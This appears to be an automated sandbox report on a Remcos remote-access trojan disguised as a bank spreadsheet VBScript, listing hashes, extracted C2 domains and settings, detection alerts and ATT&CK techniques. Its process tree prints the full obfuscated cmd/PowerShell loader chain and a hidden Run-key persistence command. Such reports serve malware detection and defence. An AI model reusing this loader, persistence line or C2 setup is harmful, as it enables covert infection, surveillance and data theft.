remcos | e9f1757d4dd8919c701d9e90a971c23e04f87d53560f0d89c81b79d0016f2e6f

Analysis

max time kernel
150s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HALK BANKASI-Xls.vbs
Size 1.2MB
Sample261007-wllcksdx3k
SHA256 e9f1757d4dd8919c701d9e90a971c23e04f87d53560f0d89c81b79d0016f2e6f
MD5 f4dce608fa787ea68cb576b44621213f
SHA1 4fbf27be4bf6c622241f6515be3f6f4c129b79f1
SHA512 b038a5210d193c46b17a0640aeba829b2f5de6a25e0c92f3aa23786240f762ab85bb5b109da2c499be8e85cf65173f132af1e29dadf2ca03cf691a6146ae7549
SSDEEP 24576:MFSuBK3opBpplKck5yzLEj6GP3cwLYksBgjDu7FfyohH1lU0wXRM3Nk9:MvK3o1plN9LI6BwsviOrDoyU
TLSH
T1E24522AD6C238BFC4BEA9306A1112C5A8A790DD43C1F559645E6EDC216EFF0A4CDFC84
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost collection defense_evasion execution remcos persistence privilege_escalation rat suricata

Malware Config

Extracted

Family

remcos

Version

7.3.1 Pro

Botnet

RemoteHost

www.albader-group.cam:2404
www.albader-groupbackup.cam:2404
www.albader-groupbackup1.cam:2404
www.edibeckconsult.cam:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
folder
mouse_option
false
mutex
Rmc-Q468EF
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe

Suricata alert: REMCOS RAT Malware Outbound C2 Communication 9 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
2	2788	choice.exe
3	2788	choice.exe
3	2788	choice.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellPrefetch_AGVA = "C:\\Windows\\System32\\conhost.exe --headless -- C:\\Windows\\System32\\cmd.exe /c call \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\audio_ep\\audio_ep_INXIWNCGh.cmd\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
912	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4672	powershell.exe
6052	powershell.exe
3568	powershell.exe
5532	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2916	cmd.exe
5752	cmd.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
6052	powershell.exe
6052	powershell.exe
5532	powershell.exe
3568	powershell.exe
5532	powershell.exe
3568	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe

Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
4672	powershell.exe
4672	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6052	powershell.exe
Token: SeDebugPrivilege	5532	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe
Token: 34	4672	powershell.exe
Token: 35	4672	powershell.exe
Token: 36	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe
Token: SeManageVolumePrivilege	4672	powershell.exe
Token: 33	4672	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 912 wrote to memory of 2916	912	WScript.exe	90
PID 2916 wrote to memory of 6052	2916	cmd.exe	92
PID 912 wrote to memory of 5752	912	WScript.exe	93
PID 5752 wrote to memory of 5532	5752	cmd.exe	95
PID 5752 wrote to memory of 3568	5752	cmd.exe	96
PID 3568 wrote to memory of 4672	3568	powershell.exe	97
PID 4672 wrote to memory of 2788	4672	powershell.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:912
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /v:on /c set "M001=$p=["&& set "M002=char"&& set "M003=]39+"&& set "M004=[cha"&& set "M005=r]32"&& set "M006=+$ar"&& set "M007=gs[0"&& set "M008=];$r"&& set "M009==$en"&& set "M010=v:PI"&& set "M011=BRVK"&& set "M012=N;$f"&& set "M013==$ar"&& set "M014=gs[1"&& set "M015=];$s"&& set "M016==$ar"&& set "M017=gs[2"&& set "M018=];$r"&& set "M019=l=$a"&& set "M020=rgs["&& set "M021=3]+$"&& set "M022=args"&& set "M023=[4]+"&& set "M024=$arg"&& set "M025=s[5]"&& set "M026=;$wl"&& set "M027==$ar"&& set "M028=gs[6"&& set "M029=]+$a"&& set "M030=rgs["&& set "M031=4]+$"&& set "M032=args"&& set "M033=[5];"&& set "M034=$tf="&& set "M035=$arg"&& set "M036=s[7]"&& set "M037=+$ar"&& set "M038=gs[8"&& set "M039=]+$a"&& set "M040=rgs["&& set "M041=9];$"&& set "M042=t=0;"&& set "M043=whil"&& set "M044=e($t"&& set "M045=-lt8"&& set "M046=){$t"&& set "M047=++;$"&& set "M048=a=$n"&& set "M049=ull;"&& set "M050=try{"&& set "M051=$ty="&& set "M052=[typ"&& set "M053=e]$t"&& set "M054=f;$r"&& set "M055=aw=$"&& set "M056=ty::"&& set "M057=$rl("&& set "M058=$r);"&& set "M059=$a=@"&& set "M060=();f"&& set "M061=or($"&& set "M062=n=0;"&& set "M063=$n-l"&& set "M064=t@($"&& set "M065=raw)"&& set "M066=.Len"&& set "M067=gth;"&& set "M068=$n++"&& set "M069=){$l"&& set "M070==@($"&& set "M071=raw)"&& set "M072=[$n]"&& set "M073=;$i="&& set "M074=$l.I"&& set "M075=ndex"&& set "M076=Of($"&& set "M077=p);i"&& set "M078=f($i"&& set "M079=-ge "&& set "M080=0){$"&& set "M081=a+=$"&& set "M082=l.Su"&& set "M083=bstr"&& set "M084=ing("&& set "M085=$i+$"&& set "M086=p.Le"&& set "M087=ngth"&& set "M088=)-sp"&& set "M089=lit$"&& set "M090=s}}}"&& set "M091=catc"&& set "M092=h{};"&& set "M093=if($"&& set "M094=a){$"&& set "M095=ty::"&& set "M096=$wl("&& set "M097=$f,["&& set "M098=stri"&& set "M099=ng[]"&& set "M100=]$a)"&& set "M101=;bre"&& set "M102=ak};"&& set "M103=$n=0"&& set "M104=;whi"&& set "M105=le($"&& set "M106=n-lt"&& set "M107=5000"&& set "M108=00){"&& set "M109=$n++"&& set "M110=}}"&& set "PIBRVKN=C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"&& set "CHCN=!M001!!M002!!M003!!M004!!M005!!M006!!M007!!M008!!M009!!M010!!M011!!M012!!M013!!M014!!M015!!M016!!M017!!M018!!M019!!M020!!M021!!M022!!M023!!M024!!M025!!M026!!M027!!M028!!M029!!M030!!M031!!M032!!M033!!M034!!M035!!M036!!M037!!M038!!M039!!M040!!M041!!M042!!M043!!M044!!M045!!M046!!M047!!M048!!M049!!M050!!M051!!M052!!M053!!M054!!M055!!M056!!M057!!M058!!M059!!M060!!M061!!M062!!M063!!M064!!M065!!M066!!M067!!M068!!M069!!M070!!M071!!M072!!M073!!M074!!M075!!M076!!M077!!M078!!M079!!M080!!M081!!M082!!M083!!M084!!M085!!M086!!M087!!M088!!M089!!M090!!M091!!M092!!M093!!M094!!M095!!M096!!M097!!M098!!M099!!M100!!M101!!M102!!M103!!M104!!M105!!M106!!M107!!M108!!M109!!M110!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684396843966.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684396843966.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6052
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684396843966.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4672
    - - C:\Windows\system32\choice.exe
        
        "C:\Windows\system32\choice.exe"
        5⤵
        Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        Accesses Microsoft Outlook profiles
        outlook_office_path
        
        PID:2788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Modify Registry

T1112

Process Injection

T1055

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\folder\logs.dat
Size 102B
SHA256 40645c77215fcfcd9bb210af1c0c77aa9248391b0aa975ea810699518c466be5
MD5 36d68408cb3580a38632d684a2f10ef2
SHA1 49734adf05101fab06edb97b306a1de9fe34194c
SHA512 6a26792cbf5d564fad88c71f76a8659d96723a5219ec512652ca751248fea26d5d679b694359221eacd6d400c672f24cd85590da46d1c954c86ddc1bc289f924
TLSH
T1A7B012553BD220257972A27B54F30037287079680138840C2190034D1570700118239B
MD5 SHA1 SHA512 TLSH

Submit Download

684396843966.cmd

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684396843966.cmd
Size 1.2MB
SHA256 03df854ad00273b4aa1d04d1069db5d5097ab38bea6e3fbdc644915d485c3086
MD5 739a3c202f56b6129b490a057f0ad255
SHA1 3f2ab7e86344e61ed501ad5cdedc027164081c3a
SHA512 5821274af004bc1e637567e18a98efe5e7e2c5ab5b3f1564b9b0cddf519a443694f467c91b21bcc249896189986e3864c41e2618edd4cf6610e67e8aae2242bf
SSDEEP 24576:GttuiRu4niwsJn3R+QcmXjOLWWqFSIYMBNHDO7QCF7sH0E47TJzpZNoM:G3Ru4LsJ3wmTOEFDrT6vfFFj
TLSH
T1A54523ADBC539BFC4BF9A30AA1113D565F754ED83E1F86C845E8E5C216EBB058C0AC84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 edf13b0524472180bf21fe6c61dfc27b2f10aa0dfbd0d839c0a2ef8c00504383
MD5 506637774aff23004294e8a44123bc7b
SHA1 fa5031d043cc01286d3a379455a827c24d5fa64a
SHA512 d2560a4beb17b6d739df6b7378fbaecdf671f48c4af238d826038d006f745a093e8ed00a8f5d705f75e10119c4f799cfe830e0a53a80a928ba8094f8540f6ed9
TLSH
T149215937B3DC8614DC9A413A50CEAC1036B687DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_f2rpnez0.a3c.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2rpnez0.a3c.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

handoff_dbg_4672_e596a1a.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_4672_e596a1a.txt
Size 7B
SHA256 e52f321ea172fbd805bde74f3fba390a730e98e513c5c37a3c405e4780a66d1a
MD5 94102692ffe0f1b664a863d0cd3cfefc
SHA1 0f4029a2cc2ba728d8eb73aee112618eda6d584d
SHA512 221280b8a40f68c96489d2e207e04100a8d27e1c2d18b5170ff883dd9e94d81df6d5d75dbea1f9756164d9172597462253beb43a79aa9165087eeba15e7159ef
MD5 SHA1 SHA512

Submit Download

handoff_dbg_4672_e596a1a.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_4672_e596a1a.txt
Size 96B
SHA256 9f3f67244af39262a94f8cc4fe28a016fbd68e00c6d5730c71861c045a77cdfe
MD5 6f0c63648eb26fd975cbd662175d2e9c
SHA1 58e0ee14d5452de5f0ab935e261f8e7bd85dcd98
SHA512 4c5b5ee19adf5041ec9b8ee1d03abc193fe1987d504c98eac5b46720bab20e9ebf53c4526d2f671007d39504d4d1af1717b63df4d5c14a35f27c11a71b30e08b
TLSH
T1DAB0127E08AB4C4ECA550F01250A30C06560704297C39401A2C843B07004D30C700714
MD5 SHA1 SHA512 TLSH

Submit Download

handoff_dbg_4672_e596a1a.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_4672_e596a1a.txt
Size 529B
SHA256 2d831c208aace4f3e43ca0da587fb2ee7f798fd4839a6fb69ebf0a1f347824b5
MD5 220c3b710edc1870d8cfe491d27d2254
SHA1 7a412cc365eebb941c88e861d173e931accb9bd5
SHA512 61ed674ad6848e9ffac865a1a9284fef44c585fc2d4a8c5c7d4c81a3697c309988ef4b826f3f44fe3da202acfe214af561ca9912a16f6785e5a4518e6e6f3406
TLSH
T17BF06D3C88EA4CCBFDC12519FA07B99536A4B143B7D2C41F3BDC532030858725B08570
MD5 SHA1 SHA512 TLSH

Submit Download

handoff_dbg_4672_e596a1a.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_4672_e596a1a.txt
Size 612B
SHA256 79123768b75895e1da646f7da6c46e22ae0afb47190a9d21a2cc9859ca19608e
MD5 07dbae0706b3a509eb5a180cbd44f9a7
SHA1 2e98ccf30625550de2de4aee875d71e1b1116357
SHA512 865eec92293e38f89ab052307bae6a201d7bb0415ddf3e38cdfda4ab3c4380beb797f8c4b77bdefced0c5cebfa19bc673427641d266d74856ebdec34968c1d11
TLSH
T1DFF0D47C88DA5CCBFDC12519FA07F99536A4B143B7D6C51F7BDC522430898725B48570
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2788-96-0x0000022C0F1B0000-0x0000022C0F2DC000-memory.dmp

Download

memory/2788-97-0x0000022C0F1B0000-0x0000022C0F2DC000-memory.dmp

Download

memory/2788-138-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-139-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-128-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-127-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-117-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-116-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-104-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-103-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-102-0x00007FF677020000-0x00007FF67702E000-memory.dmp

Download

memory/2788-98-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-38-0x0000022C0CF20000-0x0000022C0CF60000-memory.dmp

Download

memory/2788-39-0x0000022C0CF20000-0x0000022C0CF60000-memory.dmp

Download

memory/2788-93-0x0000022C0F1B0000-0x0000022C0F2DC000-memory.dmp

Download

memory/2788-55-0x0000022C0CF20000-0x0000022C0CF60000-memory.dmp

Download

memory/2788-92-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-91-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-61-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-59-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-43-0x0000000180000000-0x0000000180040000-memory.dmp

Download

memory/2788-77-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-90-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-86-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-88-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/2788-89-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/4672-32-0x0000011035600000-0x000001103561E000-memory.dmp

Download

memory/4672-31-0x0000011035790000-0x000001103579A000-memory.dmp

Download

memory/4672-29-0x0000011035650000-0x000001103566E000-memory.dmp

Download

memory/4672-30-0x00000110356D0000-0x0000011035782000-memory.dmp

Download

memory/4672-33-0x0000011035270000-0x000001103527A000-memory.dmp

Download

memory/4672-35-0x0000011035280000-0x0000011035288000-memory.dmp

Download

memory/4672-37-0x00000110355B0000-0x00000110355BA000-memory.dmp

Download

memory/4672-36-0x00000110355A0000-0x00000110355A6000-memory.dmp

Download

memory/4672-34-0x0000011035620000-0x000001103563C000-memory.dmp

Download

memory/6052-5-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download

memory/6052-11-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download

memory/6052-0-0x00007FF914C2F000-0x00007FF914C30000-memory.dmp

Download

memory/6052-4-0x0000018C6E9B0000-0x0000018C6E9D2000-memory.dmp

Download

memory/6052-3-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download

memory/6052-7-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download

memory/6052-6-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download

memory/6052-10-0x00007FF914AA0000-0x00007FF915444000-memory.dmp

Download